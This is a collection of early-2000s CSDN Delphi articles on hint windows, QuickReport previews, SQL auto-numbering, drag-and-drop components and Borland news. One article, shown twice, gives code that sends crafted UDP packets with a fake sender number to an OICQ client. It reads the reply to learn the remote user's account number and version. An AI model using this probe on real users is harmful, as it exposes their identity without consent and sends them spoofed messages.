原来THintWindow在它的Paint方法中又重新改变了字体颜色。没办法，只好重写Paint方法了。在MyHint类中再声明一个重载方法：Procedure Paint; Override;然后将THintWindow的Paint方法的代码照搬过来，再将Canvas.Font.Color := clInfoText;这一句删除掉。至此就大功告成了，再运行一下程序看看，这下一点问题都没有了。

也许你会说：“其实我们也不用重载THintWindow的Create方法，只需重载Paint方法即可，然后在其中设置背景及字体，这样会省事得多啦。”当然，这样也行得通，不过你会发现有一点小小的遗憾，是什么？自己试试吧。（什么？没有？！当我没说！）


CSDN_文档中心_追捕oicq探测技术

追捕是怎样得到检测结果的呢？下面是具体实现的程序段:
MyStream := TMemoryStream.Create;
try
NMUDP1.ReadStream(MyStream);
SetLength(TmpStr,NumberBytes);
MyStream.Read(TmpStr[1],NumberBytes);
finally
MyStream.Free;
end;
j := Pos( #$02 +#$02 +#$00 +#$00 , TmpStr);
k := Pos( #$02 +#$03 +#$00 +#$00 , TmpStr);
m := Pos( #$02 +#$03 +#$0a +#$00 , TmpStr);
o := Pos( #$02 +#$03 +#$02 +#$00 , TmpStr);

if (j=1) or (k=1) or (m=1) or (o=1) then begin
j := Pos( #$02 +#$02 +#$00 +#$00 + 'y', TmpStr);
k := Pos( #$02 +#$03 +#$00 +#$00 + 'y', TmpStr);
m := Pos( #$02 +#$03 +#$0a +#$00 + 'y', TmpStr);
o := Pos( #$02 +#$03 +#$02 +#$00 + 'y', TmpStr);
OicqVer := '未知';
if j=1 then OicqVer := '425';
if k=1 then OicqVer := '725';
if m=1 then OicqVer := '820';
if o=1 then OicqVer := '810';
if (j=1) or (k=1) or (m=1) or (o=1) then begin
TmpS := '';
for j:=1 to length(TmpStr) do begin
if TmpStr[j] in ['0'..'9'] then tmpS := tmpS + TmpStr[j];
end;
if TmpS='0' then Label2.Caption := 'OICQ处于关闭状态，版本:'+ OicqVer
else Label2.Caption :='OICQ号码为'+ TmpS + ',版本:'+ OicqVer;
end;

j := Pos( #$02 +#$02 +#$00 +#$00 + 'x', TmpStr);
k := Pos( #$02 +#$03 +#$00 +#$00 + 'x', TmpStr);
m := Pos( #$02 +#$03 +#$0a +#$00 + 'x', TmpStr);
o := Pos( #$02 +#$03 +#$02 +#$00 + 'x', TmpStr);
if (j=1) or (k=1) or (m=1) or (o=1) then begin
J := 8;
TmpOicqNUm := '';
While TmpStr[J]<>#$1f do begin
TmpOicqNum :=TmpOicqNum + TmpStr[J];
Inc(J);
end;
J := J + 6;
While TmpStr[J]<>#$1f do begin
Inc(J);
end;
J := J + 1;
While TmpStr[J]<>#$1f do begin
Inc(J);
end;
J := J + 1;
TmpOicqMsg := '';
While TmpStr[J]<>#$03 do begin
TmpOicqMsg := TmpOicqMsg + TmpStr[J];
Inc(J);
end;
if TmpOicqMsg<>LastOicqMessage then begin
LastOicqMessage := TmpOicqMsg;
Messagebox(Form1.handle, PChar('OICQ用户' + TmpOicqNum + '对你的探测作出回应：' + #$0D + #$0A + TmpOicqMsg), '警告信息', MB_ICONWARNING +mb_ok);
end;
end;
exit;
end;


CSDN_文档中心_追捕的OICQ探测技术 ---冯志宏 [撰稿]

主　　题：追捕的OICQ探测技术 ---冯志宏 [撰稿]
作　　者： pgcat
所属论坛：灌水乐园
问题点数：100
回复次数：33
发表时间：2001-2-16 14:54:00
实际上目前所有的OICQ探测方法都一样，发送一个OICQ消息给对方，凭借OICQ
的返回信息来判断对方的OICQ号码，具体的DELPHI实现如下：
NMUDP1是ICS控件包的UDP控件。

NMUDP1.ReportLevel := Status_Basic;
NMUDP1.RemoteHost := edit1.Text;
NMUDP1.RemotePort := 4000;

UdpTmpStr :=#$02 +#$03 +#$0a +#$00 +#$78 +#13 +#$A
+ '88888' +#$1f +#$30 +#$1f + #$33 + #$39 +#$1f
+FormatDateTime('yyyy-mm-dd',now)
+#$1f
+FormatDateTime('hh:mm:ss',now)
+#$1f
+ '你正在被某位朋友查询。他使用了追捕这个工具软件(http://www.zhuibu.com/)进行探测，此OICQ号码已经被反馈给对方。'
+ '信息所提示的OICQ号码为虚假号码，但可以即时回复。' + #$03;

if OicqCheck.Checked then begin
for SendUdpNum:=1 to 10 do begin
MyStream := TMemoryStream.Create;
try
MyStream.Write(UdpTmpStr[1], Length(UdpTmpStr));
NMUDP1.SendStream(MyStream);
finally
MyStream.Free;
end;
end;
end;

追捕是怎样得到检测结果的呢？下面是具体实现的程序段:
MyStream := TMemoryStream.Create;
try
NMUDP1.ReadStream(MyStream);
SetLength(TmpStr,NumberBytes);
MyStream.Read(TmpStr[1],NumberBytes);
finally
MyStream.Free;
end;
j := Pos( #$02 +#$02 +#$00 +#$00 , TmpStr);
k := Pos( #$02 +#$03 +#$00 +#$00 , TmpStr);
m := Pos( #$02 +#$03 +#$0a +#$00 , TmpStr);
o := Pos( #$02 +#$03 +#$02 +#$00 , TmpStr);

if (j=1) or (k=1) or (m=1) or (o=1) then begin
j := Pos( #$02 +#$02 +#$00 +#$00 + 'y', TmpStr);
k := Pos( #$02 +#$03 +#$00 +#$00 + 'y', TmpStr);
m := Pos( #$02 +#$03 +#$0a +#$00 + 'y', TmpStr);
o := Pos( #$02 +#$03 +#$02 +#$00 + 'y', TmpStr);
OicqVer := '未知';
if j=1 then OicqVer := '425';
if k=1 then OicqVer := '725';
if m=1 then OicqVer := '820';
if o=1 then OicqVer := '810';
if (j=1) or (k=1) or (m=1) or (o=1) then begin
TmpS := '';
for j:=1 to length(TmpStr) do begin
if TmpStr[j] in ['0'..'9'] then tmpS := tmpS + TmpStr[j];
end;
if TmpS='0' then Label2.Caption := 'OICQ处于关闭状态，版本:'+ OicqVer
else Label2.Caption :='OICQ号码为'+ TmpS + ',版本:'+ OicqVer;
end;

j := Pos( #$02 +#$02 +#$00 +#$00 + 'x', TmpStr);
k := Pos( #$02 +#$03 +#$00 +#$00 + 'x', TmpStr);
m := Pos( #$02 +#$03 +#$0a +#$00 + 'x', TmpStr);
o := Pos( #$02 +#$03 +#$02 +#$00 + 'x', TmpStr);
if (j=1) or (k=1) or (m=1) or (o=1) then begin
J := 8;
TmpOicqNUm := '';
While TmpStr[J]<>#$1f do begin
TmpOicqNum :=TmpOicqNum + TmpStr[J];
Inc(J);
end;
J := J + 6;
While TmpStr[J]<>#$1f do begin
Inc(J);
end;
J := J + 1;
While TmpStr[J]<>#$1f do begin
Inc(J);
end;
J := J + 1;
TmpOicqMsg := '';
While TmpStr[J]<>#$03 do begin
TmpOicqMsg := TmpOicqMsg + TmpStr[J];
Inc(J);
end;
if TmpOicqMsg<>LastOicqMessage then begin
LastOicqMessage := TmpOicqMsg;
Messagebox(Form1.handle, PChar('OICQ用户' + TmpOicqNum + '对你的探测作出回应：' + #$0D + #$0A + TmpOicqMsg), '警告信息', MB_ICONWARNING +mb_ok);
end;
end;
exit;
end;


CSDN_文档中心_准备迎接Kylix

发信人: bien (Bonjour! 大家好，我是 Bien), 信区: Delphi

标 题: 准备迎接Kylix（转载自水木清华）

发信站: 北大未名站 (2000年11月14日22:20:46 星期二), 站内信件

发信人: starw (孤星), 信区: Linux

标 题: 准备迎接Kylix

发信站: BBS 水木清华站 (Tue Feb 29 18:27:11 2000)

J.D.Hildbrand，孙立翻译

    你听说过Inprise的Lylix项目吗，每个程序员都应该关心它。在我看来，

它是Inprise/Borland公司15年以来最重要的项目。

    你也许知道，Kylix是古希腊的一种浅酒杯，它与其它酒杯的不同之处在

于它有一对提耳和一个伸到杯底的长把。就是那种当你旅行到Delphi城时喝酒

用的杯子。

    在1999年9月28日Inprise/Borland声明要开发一个“支持C、C++和Delphi

的高性能Linux应用程序开发环境”时，Kylix正式启动，它是第一个基于Linux

的高性能RAD工具。

    当时的声明里提到：目前Kylix项目计划开发为一个基于Linux的双向可视

化组件开发环境，可以开发GUI、Internet、数据库和服务器应用程序。Kylix

项目包括一个新的高速的用原生代码编写的基于Linux的C/C++/Delphi编译器，

还包括一个Linux版的Borland VCL类库。这个Linux版的VCL既能简化Linux应用

程序的开发，又便于移植Windows和Linux平台下的Delphi/C++ Builder程序。

    这就清楚了，Kylix就是Linux下的Delphi和C++ Bulider，包括整个IDE，

辅助工具和已经成功开发过很多应用的VCL。

Linux需要什么

    关于Kylix的话题让我想起了早期Windows编程。10年前Windows 3.0分布时，

编写Windows程序唯一的办法是基于C的API，因为Windows程序很难开发，Windows

也难以普及。

    一个产品改变了一切：Visual Basic。你也许对VB不以为然，但它是一个

在恰当时机推出的恰当的产品（实际上，VB 1.0的测试版代号是“雷”，因为

Windows 3.0是“闪电”，“闪电”之后就是“雷鸣”）。VB让程序员摆脱了复

杂的GUI、内存管理和任务管理，他们可以专心于本质的工作。对于那些没有时

间记忆Windows API的程序员来说，VB是一个好工具。

    几年以后，Borland分布了Delphi。从那一天起，Delphi就是一个比VB还要

VB的工具。更高效，更易于使用，更高性能，真正的OOP，还有很多很多。如果

想开发Windows程序，Delphi就是最好的选择（后来C++ Builder也使用了Delphi

的IDE和VCL，关于C++ Builder是另一个故事了）。问题在于Delphi来得太晚了，

Windows程序员们已经选择了其它工具，比如VB、Smalltalk或者C++及某个类库。

想一想，如果Delphi 1.0和VB 1.0同时发布......，当然那已经不可能了。

    但是现在，机会再次来临。目前除了Kylix，还没有迹象表明Microsoft或其

它厂商要开发基于Linux的组件化、全编译、纯OOP的RAD工具。 Kylix就是Linux

版的Visual Basic，Linux平台下的第一个RAD工具。这意味着数百万的程序员都

能够开发惊人的应用程序——桌面、Internet、服务器。这也意味着Inprise

/Borland能够卖出无数份拷贝，再次夺回开发工具的冠军宝座。

    Java和C++很重要，ORB和Application Server是核心，但能认你热血沸腾、

急于得到的热门产品是Kylix。雷鸣？雷鸣之后就看不到其它东西了。 Kylix的开

发人员正在努力工作，他们承诺要尽快把Kylix交到你的手上。请关注Kylix。

--

____________________________________________________________________

Bien的法语主页：http://francais.dhs.org

Bien的讨论区： http://francais.dhs.org/phorum

Bien的法语词典：http://francais.dhs.org/Dictionnaire(注意大写哟)

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

一个好人 * A nice guy * Un bon homme * hitotsu ii nin * Delphi版版主


CSDN_文档中心_字幕图标控件

一个根据指定的文字动态生成Form和Application的图标的控件。

摘要：

......这是个滚动显示字符的图标控件。用于替换Form和Application的Icon。你可以设定要显示的字符串（中英文均可）、字体、滚动速度和是否替换Application的Icon既任务栏上的图标）。实际上，这个控件也就输出这四个属性。不过你有可能会奇怪为什么会有AppIcon这个属性，原因很简单：当初设计它的时候，主要的目标就是把他拽到一个Form上的时候，他会自动的替换Form的Icon。等到做完了测试的时候，发现任务栏上的图标还是Delphi的老图标。当时我犹豫了一下子“要不要替换任务兰上的图标呢？”，不过我很快就有了决定，这个决定就是不作决定，“让用户去选择吧！”。于是就多了个AppIcon的属性，当他为True的时候，控件会替换任务栏的图标，False就不用说了...

http://www.iswhoo.com/texticon.htm


CSDN_文档中心_自定义快速报表的打印预览窗口

自定义快速报表的打印预览窗口
    Quick Report 2.0 中 提 供 的 默 认 打 印 预 览 窗 口 是 英 文 界 面 的， 如 果 开 发 的 中 文 软 件 中 带 有 这 种 英 文 显 示， 不 免 有 些 小 小 的 缺 憾。 因 此 有 必 要 实 现 中 文 界 面 的 打 印 预 览 窗 口。 但 是Delphi 提 供 的 源 代 码 中 并 没 有 打 印 预 览 窗 口 的.PAS 源 文 件， 这 就 无 法 直 接 修 改 源 码， 只 能 全 部 自 己 编 程 实 现。 经 多 次 实 践， 笔 者 模 仿 实 现 了 与 默 认 预 览 窗 口 外 观 类 似， 功 能 相 同 的 打 印 预 览 窗 口。 步 骤 如 下：

1. 新 建 一 个 窗 体， 设 置Name 为MyPreview。

2. 在 窗 体 上 添 加 一Toolbar 控 件， 模 仿 默 认 预 览 窗 口 创 建 相 应 的Toolbutton， 并 设 置 各 按 钮 的Hint 提 示。

3. 添 加 一Panel 控 件， 对 齐 方 式 置 为alBottom。 再 在 此Panel 上 放 一ProgressBar( 左 对 齐) 和Panel( 右 对 齐)， 分 别 显 示 报 表 装 载 进 度 和 其 他 提 示 信 息。

4. 添 加QRPreview 控 件， 对 齐 方 式 置 为alClient。

5. 添 加OpenDialog， 设 置Filter 属 性 为*.QR； 添 加SaveDialog， 设 置Filter 属 性 为*.QR|*.TXT|*.HTM|*.CSV， 设 置DefaultExt 属 性 为*.QR。

6. 双 击 各 个Toolbutton， 输 入 相 应 代 码。
可 以 按 以 下 方 法 调 用 自 定 义 预 览 窗 口。

重 载TQuickRep 的OnPreview 事 件， 输 入 如 下 代 码：
procedure TRptForm.RptFormPreview(Sender: TObject);
begin
   with TMyPreview.Create(Application) do
   begin
    QRPreview1.QRPrinter := TQRPrinter(Sender);
    CurRep := self;
       Show;
   end;
end;

附 各 成 员 方 法 的 具 体 实 现：
unit Myprv;

interface
uses
   Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,　 ComCtrls, ToolWin, qrprntr,Quickrpt, StdCtrls, ExtCtrls,qrextra,qrhtml;

type
  TMyPreview = class(TForm)
      QRPreview1: TQRPreview;
      ToolBar1: TToolBar;
   (其 余 成 员 变 量 和 成 员 方 法 声 明 略。)
  private
     { Private declarations }
      FPageCount : integer;　// 生 成 报 表 的 总 页 数
public
     { Public declarations }
      CurRep : TQuickRep;　　// 所 预 览 的 报 表
      procedure UpdatePanelShow;
end;

implementation

{$R *.DFM}
procedure TMyPreview.UpdatePanelShow;
begin　 // 更 新 显 示
     Panel2.Caption := ' 第 '+inttostr(QRPreview1.PageNumber)+　　' 页　总 '+inttostr(FPageCount)+' 页';
end;

procedure TMyPreview.ToolButton2Click(Sender: TObject);
begin　　 file://ZoomToFit 缩 放 至 全 屏
     QRPreview1.ZoomToFit;
end;

procedure TMyPreview.ToolButton3Click(Sender: TObject);
begin　　 file://ZoomTo100% 缩 放 至 实 际 大 小
     QRPreview1.Zoom:=100;
end;

procedure TMyPreview.ToolButton4Click(Sender: TObject);
begin　　 file://ZoomToWidth 缩 放 至 页 宽
    QRPreview1.ZoomToWidth;
end;

procedure TMyPreview.ToolButton6Click(Sender: TObject);
begin　　 file://First page
     QRPreview1.PageNumber := 1;
     UpdatePanelShow;
end;

procedure TMyPreview.ToolButton8Click(Sender: TObject);
begin　　 file://prior page
     QRPreview1.PageNumber := QRPreview1.PageNumber+1;
     UpdatePanelShow;
end;

procedure TMyPreview.ToolButton7Click(Sender: TObject);
begin　　 file://next page
     QRPreview1.PageNumber := QRPreview1.PageNumber-1;
     if QRPreview1.PageNumber =0 then
        QRPreview1.PageNumber:=1;
     UpdatePanelShow;
end;

procedure TMyPreview.ToolButton9Click(Sender: TObject);
begin　　 file://Last page
     QRPreview1.PageNumber := FPageCount;
     UpdatePanelShow;
end;

procedure TMyPreview.QRPreview1PageAvailable(Sender: TObject;　PageNum: Integer);
begin　　file://get pagecount
     FPageCount := PageNum ;
     UpdatePanelShow;
end;

procedure TMyPreview.FormClose(Sender: TObject; var Action: TCloseAction);
begin
     CurRep := nil;
     Action := caFree;
end;

procedure TMyPreview.ToolButton14Click(Sender: TObject);
begin　　file://close the window
     Close;
end;

procedure TMyPreview.ToolButton11Click(Sender: TObject);
begin　　file://print setup
     QRPreview1.QRPrinter.PrintSetup;
end;

procedure TMyPreview.ToolButton13Click(Sender: TObject);
begin　　file://print
    QRPreview1.QRPrinter.Print;
end;

procedure TMyPreview.ToolButton16Click(Sender: TObject);
begin　　file://save button
    if SaveDlg1.Execute then
    begin
       if (SaveDlg1.FIlterIndex <>1) and (CurRep = nil) then
           Exit;
      case SaveDlg1.FilterINdex of
      1: file://--*.QR
             QRPreview1.QRPrinter.Save(SaveDlg1.FileName);
      2: file://--*.TXT
            CurRep.ExportToFilter (TQRAsciiExportFilter.Create(SaveDlg1.FileName));
      3:　file://--*.HTM
            CurRep.ExportToFilter (TQRHTMLExportFilter.Create(SaveDlg1.FileName));
      4:　　　　　file://--*.CSV
           CurRep.ExportToFilter(TQRCSVExportFilter.Create(SaveDlg1.FileName));
     end;
   end;
end;

procedure TMyPreview.ToolButton17Click(Sender: TObject);
begin　　file://load button
     if OpenDlg1.Execute then
        QRPreview1.QRPrinter.Load(OpenDlg1.FileName);
end;

procedure TMyPreview.QRPreview1ProgressUpdate(Sender: TObject;　Progress: Integer);
begin　　file://updage progress bar
    ProgressBar1.Position := Progress;
end;

procedure TMyPreview.SaveDlg1TypeChange(Sender: TObject);
begin　　file://set DefaultExt property of Savedialog
     with SaveDlg1 do
        case FilterIndex of
           0:　　 DefaultExt := '.QR';
           1:　　 DefaultExt := '.TXT';
           2:　　　DefaultExt := '.HTM';
           3:　　　DefaultExt := '.CSV';
       end;
end;
end.//end of Unit


CSDN_文档中心_自动编号的存储过程

CREATE PROCEDURE Get_BH @cL_MC char(20),@nL_Init Int AS
begin
Declare @nL_CD Numeric(2,0),@cL_LSH char(20),@cL_LX Char(1),@nL_CDT Int,@nL_CDM int
Declare LSHB_cursor Cursor For Select Cd,LSH,Lx From LSHB Where MC=@cL_MC
Open LSHB_cursor
Fetch Next From LSHB_Cursor into @nL_CD,@cL_LSH,@cL_LX
If @@FETCH_STATUS = 0
begin
Select @nL_CDM=Len(RTrim(Convert(Char(10),@nL_Init)))
If @cL_LX='1'
begin -- 前面四位为年 '2000'
Select @nL_CDT=@nL_CD-4
If left(@cL_LSH,4)=convert(char(4),getdate(),102) /* 年份相等，序号加 1 */
begin
Select @nL_CDM=Len(RTrim(Convert(Char(20),Convert(int,Right(@cL_LSH,16))+1)))
Update LSHB set LSH=Left(@cL_LSH,4)+Replicate('0',@nL_CDT-@nL_CDM)+Rtrim(Convert(Char(20),Convert(int,Right(@cL_LSH,16))+1))
where MC=@cL_MC
End
else
If @nL_Init>1
Update LSHB set LSH=replace(Convert(Char(4),getdate(),102),'.','')+Replicate('0',@nL_CDT-@nL_CDM)+Rtrim(Convert(Char(10),@nL_Init))
where MC=@cL_MC
Else
Update LSHB set LSH=replace(Convert(Char(4),getdate(),102),'.','')+Replicate('0',@nL_CDT-1)+'1'
where MC=@cL_MC
End
If @cL_LX='2'
begin -- 前面六位为年月 '200008'
Select @nL_CDT=@nL_CD-6
If left(@cL_LSH,4)=convert(char(4),getdate(),102) AND Convert(int,substring(@cL_LSH,5,2))=DATEPART(month,getdate())
/* 年月相等，序号加 1 */
begin
Select @nL_CDM=Len(RTrim(Convert(Char(20),Convert(int,Right(@cL_LSH,14))+1)))
Update LSHB set LSH=Left(@cL_LSH,6)+Replicate('0',@nL_CDT-@nL_CDM)+Rtrim(Convert(Char(20),Convert(int,Right(@cL_LSH,14))+1))
where MC=@cL_MC
End
else
If @nL_Init>1
Update LSHB set LSH=replace(Convert(Char(7),getdate(),102),'.','')+Replicate('0',@nL_CDT-@nL_CDM)+RTrim(Convert(Char(10),@nL_Init))
where MC=@cL_MC
Else
Update LSHB set LSH=replace(Convert(Char(7),getdate(),102),'.','')+Replicate('0',@nL_CDT-1)+'1'
where MC=@cL_MC
End
If @cL_LX='3'
begin -- 前面八位为年月日 '20000910'
Select @nL_CDT=@nL_CD-8
If left(@cL_LSH,4)=convert(char(4),getdate(),102) AND Convert(int,substring(@cL_LSH,5,2))=DATEPART(month,getdate())
AND Convert(Int,SubString(@cL_LSH,7,2))=DatePart(Day,Getdate())
Begin
Select @nL_CDM=Len(Rtrim(Convert(Char(20),Convert(Int,Right(@cL_LSH,12))+1)))
Update LSHB Set LSH=Left(@cL_LSH,8)+Replicate('0',@nL_CDT-@nL_CDM)+Rtrim(Convert(Char(20),Convert(Int,Right(@cL_LSH,12))+1))
Where MC=@cL_MC
End
Else
If @nL_Init>1
Update LSHB set LSH=replace(Convert(Char(10),getdate(),102),'.','')+Replicate('0',@nL_CDT-@nL_CDM)+RTrim(Convert(Char(10),@nL_Init))
where MC=@cL_MC
Else
Update LSHB set LSH=replace(Convert(Char(10),getdate(),102),'.','')+Replicate('0',@nL_CDT-1)+'1'
where MC=@cL_MC
End
If @cL_LX='4'
begin -- 前面四位为年 '00' ,年用两位表示
Select @nL_CDT=@nL_CD-2
If left(@cL_LSH,2)=convert(char(2),getdate(),2) /* 年份相等，序号加 1 */
begin
Select @nL_CDM=Len(RTrim(Convert(Char(20),Convert(int,Right(@cL_LSH,18))+1)))
Update LSHB set LSH=Left(@cL_LSH,2)+Replicate('0',@nL_CDT-@nL_CDM)+Rtrim(Convert(Char(20),Convert(int,Right(@cL_LSH,18))+1))
where MC=@cL_MC
End
else
If @nL_Init>1
Update LSHB set LSH=replace(Convert(Char(2),getdate(),2),'.','')+Replicate('0',@nL_CDT-@nL_CDM)+Rtrim(Convert(Char(10),@nL_Init))
where MC=@cL_MC
Else
Update LSHB set LSH=replace(Convert(Char(2),getdate(),2),'.','')+Replicate('0',@nL_CDT-1)+'1'
where MC=@cL_MC
End
If @cL_LX='5'
begin -- 前面六位为年月 '0008', 年用两位
Select @nL_CDT=@nL_CD-2
If left(@cL_LSH,2)=convert(char(2),getdate(),2) AND Convert(int,substring(@cL_LSH,3,2))=DATEPART(month,getdate())
/* 年月相等，序号加 1 */
begin
Select @nL_CDM=Len(RTrim(Convert(Char(20),Convert(int,Right(@cL_LSH,16))+1)))
Update LSHB set LSH=Left(@cL_LSH,4)+Replicate('0',@nL_CDT-@nL_CDM)+Rtrim(Convert(Char(20),Convert(int,Right(@cL_LSH,16))+1))
where MC=@cL_MC
End
else
If @nL_Init>1
Update LSHB set LSH=replace(Convert(Char(5),getdate(),2),'.','')+Replicate('0',@nL_CDT-@nL_CDM)+RTrim(Convert(Char(10),@nL_Init))
where MC=@cL_MC
Else
Update LSHB set LSH=replace(Convert(Char(5),getdate(),2),'.','')+Replicate('0',@nL_CDT-1)+'1'
where MC=@cL_MC
End
If @cL_LX='6'
begin -- 前面六位为年月日 '000910'
Select @nL_CDT=@nL_CD-6
If left(@cL_LSH,2)=convert(char(2),getdate(),2) AND Convert(int,substring(@cL_LSH,3,2))=DATEPART(month,getdate())
AND Convert(Int,SubString(@cL_LSH,5,2))=DatePart(Day,Getdate())
Begin
Select @nL_CDM=Len(Rtrim(Convert(Char(20),Convert(Int,Right(@cL_LSH,14))+1)))
Update LSHB Set LSH=Left(@cL_LSH,6)+Replicate('0',@nL_CDT-@nL_CDM)+Rtrim(Convert(Char(20),Convert(Int,Right(@cL_LSH,14))+1))
Where MC=@cL_MC
End
Else
If @nL_Init>1
Update LSHB set LSH=replace(Convert(Char(8),getdate(),2),'.','')+Replicate('0',@nL_CDT-@nL_CDM)+RTrim(Convert(Char(10),@nL_Init))
where MC=@cL_MC
Else
Update LSHB set LSH=replace(Convert(Char(8),getdate(),2),'.','')+Replicate('0',@nL_CDT-1)+'1'
where MC=@cL_MC
End
end
CLOSE LSHB_cursor
DEALLOCATE LSHB_cursor
select LSH from LSHB where MC=@cL_MC
End

GO


CSDN_文档中心_自制支持文件拖放的VCL组件

用过Winamp的朋友都知道，Winamp的界面能支持文件拖放，当你想欣赏某MP3文件时，只需要
将文件拖到Winamp的窗口上，然后放开鼠标就行了。那我们如何让自己的程序也实现这样的功能
呢？我们可以通过改进开发工具提供的标准组件来实现。下面以Delphi环境中的ListBox组件为
例，让ListBox支持文件拖放。
首先介绍一下要用到的API函数：
DragAcceptFiles() 初始化某窗口使其允许/禁止接受文件拖放
DragQueryFile() 查询拖放的文件名
DragFinish() 释放拖放文件时使用的资源
实现的基本原理如下：首先调用DragAcceptFiles()函数初始化组件窗口，使其允许接受文件
拖放，然后等待WM_DropFiles消息（一旦用户进行了拖放文件操作，组件窗口即可获得此消息），
获得消息后即可使用DragQueryFile()函数查询被拖放的文件名，最后调用DragFinish()释放资
源。

因为在VCL类库中，ListBox组件，所属类名为：TListBox，所以我们可以从TListBox继承建立
自己的组件。新组件名为：TDropFileListBox，它比标准TListBox增加了一个OnDropFiles事件和
一个DropEnabled属性。当DropEnabled为True时即可接受文件拖放，文件拖放完成后激发
OnDropFiles事件，该事件提供一个FileNames参数让用户获得文件名。

组件的代码如下：

{ TDropFileListBox V1.00 Component }
{ Copyright (c) 2000.5 by Shen Min, Sunisoft }
{ Email: sunisoft@21cn.com }
{ Web: http://www.sunistudio.com }
unit DropFileListBox;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, ShellApi; //增加ShellApi单元，因为所使用的三个API函数声明于此单元文件中
type
TMyNotifyEvent = procedure (Sender: TObject;FileNames:TStringList) of object; //自定
义事件类型。
TDropFileListBox = class(TListBox) //新的类从TListBox继承
private
{ Private declarations }
FEnabled:Boolean; //属性DropEnabled的内部变量
protected
FDropFile:TMyNotifyEvent; //事件指针
procedure DropFiles(var Mes:TMessage);message WM_DROPFILES;
procedure FDropEnabled(Enabled:Boolean); //设置DropEnabled属性的过程
{ Protected declarations }
public
constructor Create(AOwner: TComponent);override;
destructor Destroy;override;
{ Public declarations }
published
property OnDropFiles:TMyNotifyEvent read FDropFile write FDropFile;
property DropEnabled:Boolean read FEnabled write FDropEnabled;
{ Published declarations }
end;
procedure Register;

implementation

procedure Register;
begin
RegisterComponents('Sunisoft', [TDropFileListBox]); //注册组件到组件板上
end;

constructor TDropFileListBox.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
FEnabled:=true; //类被构造时，使DropEnabeld的默认值为True
end;

destructor TDropFileListBox.Destroy;
begin
inherited Destroy;
end;

//改变属性DropEnabled的调用过程
procedure TDropFileListBox.FDropEnabled(Enabled:Boolean);
begin
FEnabled:=Enabled;
DragAcceptFiles(Self.Handle,Enabled);//设置组件窗口是否接受文件拖放
end;

//接受WM_DropFiles消息的过程
procedure TDropFileListBox.DropFiles(var Mes:TMessage);
var FN:TStringList;
FileName:array [1..256] of char;
sFN:String;
i,Count,p:integer;
begin
FN:=TStringList.Create;
Count:=DragQueryFile(Mes.WParam,$FFFFFFFF,@FileName,256);//得到拖放文件的个数
For i:=0 to Count-1 do
begin
DragQueryFile(mes.WParam,i,@FileName,256);//查询文件名称
sFN:=FileName;
p:=pos(chr(0),sFN);//去掉文件名末尾的ASCII码为0的字符
sFN:=copy(sFN,1,p-1);
FN.Add(sFN);
end;
DragFinish(mes.WParam); //释放所使用的资源
if Assigned(FDropFile) then
FDropFile(self, FN); //调用事件，并返回文件名列表参数
FN.Free;
end;

end.

该组件安装后即


CSDN_文档中心_走近Inprise/Borland

2000-09-18

走近Borland

亲爱的朋友，当你面对Delphi思如泉涌，快键疾书时，你想过去了解了解这伟大工具后面的Borland和那些天才的开发者们吗？这里我收集了一些链接资料，可以让你一睹Borland的风采。如果你知道更多的相关链接，请告诉我吧。

开发者眼中的 Borland
Borland有个梦，程序员的梦 作者为北京Borland员工
李维和Borland的故事
Made in Boland

Borland 致 Delphi与 C++ Builder 社群的一封公开信
Borland： 我们建造的不仅仅是软件

宁静致远--Borland总部掠影

开发者大会：BorCon2001 USA 长堤市风光 人物 公园 夜生活 事件 闭幕式

开发者大会：BorCon2000 USA Dr.Bob's BorCon 2000 Report 影集：A
开发者大会：BorCon99 Australia Dr.Bob's BorCon99 Report 影集：A B C

Delphi 6 采访录像

2001-06-05加拿大的一次Linux用户大会上Kylix的亮相
CEO: Dale Fuller ,他在Bear Stearns第12届技术年会中的演讲
Delphi 首席结构设计师，首席科学家 Chuck Jazdzewski
Delphi 以前的结构设计师，VJ++,C#的首席结构设计师 Anders Hejlsberg
斗志昂扬的 Borland
Borland 欢迎 Microsoft 加入丛林之战 --IDG采访 Dale Fuller

Borland 对 Microsoft 的法律控诉

www.delphidevelopers.com


CSDN_文档中心_组件开发方式

在Te2和IWS的开发过程中，我终于体会到了采用组件开发的方式给我带来的非凡的快乐和巨大的痛苦，一方面，我可以简单的拖拉几个组件放在Form或者DataModule上，设置一下属性，接着我就可以按F9来Run了。另一方面，我常常陷于莫名其妙的AV错误中，一不小心就会把我的Delphi搞崩溃。但是，只要我们搞清楚了创建组件的一些基本方法，那么就可以小心的避开组件开发过程中的种种陷阱。在阅读这篇文章之前，我建议大家可以先读：

  1. Delphi爱好者上的：Form Class To Component，这篇文档告诉我们创建组件的基本方法
  2. Creating Components Dynamically，这篇文档告诉我们使用组件的正确方法
  3. Dynamic Component Creation Gotcha (Don't Do This)，这篇文档告诉我们使用组件的负作用
  4. Reuse through Inheritance and Composition，这篇文档告诉我们如何设计组件
  5. 10 guidelines to help you design for reuse，这篇文档也告诉我们设计组件一些可以操作的办法

我写这篇文章的目的是希望我们能从过去的RAD开发方式中转变成基于组件的开发方式，但是这篇文档并不告诉大家如何写组件，及写组件的一些方法，因为那几乎可以写成一本书了。

为什么用组件？

现在开发领域中比较热门的话题是OO及基于OO的更加偏重于问题域的Patterns，在我刚刚开始使用Delphi的时，我常常自问：我采用了OOP吗？让我们来看看使用Delphi 开发的标准方式：往Form或DataModule上放置几个组件，写几个事件，按F9 Run 。是的，RAD令我愉快的编程，但是它不会导致我认真设计：

  • 开始阶段代码并不会复杂，好多时候我们会把一些通用的代码拷贝到程序的各个地方，而且这些代码看起来好象不能复用，最简单的例子就是：在某个Action的Execute事件中我创建一个Query，执行一个SQL，在另一个Action的Execute事件中我又会创建一个Query去执行另一个SQL，这里有没有什么办法来抽象创建Query的过程？
  • Object Inspector非常好用，我可以非常容易的写事件处理逻辑，但是这会把逻辑和Form或DataModule紧紧绑定。尽管把业务逻辑写在DataModule中是Delphi推荐的方式，但它的复用程度并不怎么好，想想在一个DataModule中放置几十个数据集的情况，你还能说这个DataModule可以复用吗？

所以，我推荐使用基于组件的编程，Why，让我们看看Form Class To Component中写到使用组件的三个优点：

  1. Delphi有一套组件的动态创建和销毁的机制，反之，TObject的派生类必须显式的在代码中创建、使用、销毁。
